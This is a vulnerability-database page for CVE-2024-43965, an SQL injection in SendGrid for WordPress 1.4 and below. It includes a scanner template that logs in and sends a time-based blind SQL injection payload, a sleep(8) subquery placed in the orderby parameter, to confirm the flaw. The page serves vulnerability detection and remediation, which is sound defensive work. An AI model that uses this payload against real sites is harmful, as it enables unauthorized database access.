SendGrid for WordPress <= 1.4 - SQL Injection
CVE-2024-43965
Verified
Description
Smackcoders SendGrid for WordPress [affected versions 1.4 and below] contains a SQL injection caused by improper neutralization of special elements used in an SQL command, letting attackers execute arbitrary SQL queries, exploit requires crafted input.
Severity
Critical
CVSS Score
9.8
Exploit Probability
18%
Published Date
February 18, 2026
Template Author
shivam kamboj
CVE-2024-43965.yaml
id: CVE-2024-43965
info:
name: SendGrid for WordPress <= 1.4 - SQL Injection
author: Shivam Kamboj
severity: critical
description: |
Smackcoders SendGrid for WordPress [affected versions 1.4 and below] contains a SQL injection caused by improper neutralization of special elements used in an SQL command, letting attackers execute arbitrary SQL queries, exploit requires crafted input.
impact: |
Attackers can execute arbitrary SQL commands, potentially leading to data theft, modification, or deletion.
remediation: |
Update to the latest version of SendGrid for WordPress, version 1.5 or later.
reference:
- https://nvd.nist.gov/vuln/detail/CVE-2024-43965
- https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/wp-sendgrid-mailer/sendgrid-for-wordpress-14-unauthenticated-sql-injection
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
cvss-score: 9.8
cve-id: CVE-2024-43965
epss-score: 0.18426
epss-percentile: 0.95323
cwe-id: CWE-89
metadata:
verified: true
max-request: 3
tags: cve,cve2024,wordpress,wp,wp-plugin,sqli,wp-sendgrid-mailer,unauth
flow: http(1) && http(2)
http:
- raw:
- |
POST /wp-login.php HTTP/1.1
Host: {{Hostname}}
Content-Type: application/x-www-form-urlencoded
Cookie: wordpress_test_cookie=WP%20Cookie%20check
log={{username}}&pwd={{password}}&wp-submit=Log+In&redirect_to={{RootURL}}/wp-admin/&testcookie=1
matchers:
- type: dsl
dsl:
- status_code == 302
- contains(header, "wordpress_logged_in")
condition: and
internal: true
- raw:
- |
@timeout: 30s
GET /wp-admin/admin.php?page=wp-mailplus-logs&orderby=sent_time%2c(select*from(select(sleep(8)))a)&order=asc HTTP/1.1
Host: {{Hostname}}
matchers:
- type: dsl
dsl:
- 'status_code == 200'
- 'duration >= 8'
- 'contains_all(body, "wp-mailplus", "SendGrid")'
condition: and
# digest: 4a0a00473045022100c45eb661646fa54b52d888f0cea080737dca1a674f48dc2e966b0497f979e86f02202a5deb981f67a1921871bcfd5373cff87363a7bcb359c935dc12fd46a08c883f:922c64590222798bb761d5b6d8e729509.8Score
CVSS Metrics
CVSS Vector:
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
CVE ID:
cve-2024-43965
CWE ID:
cwe-89
Remediation Steps
Update to the latest version of SendGrid for WordPress, version 1.5 or later.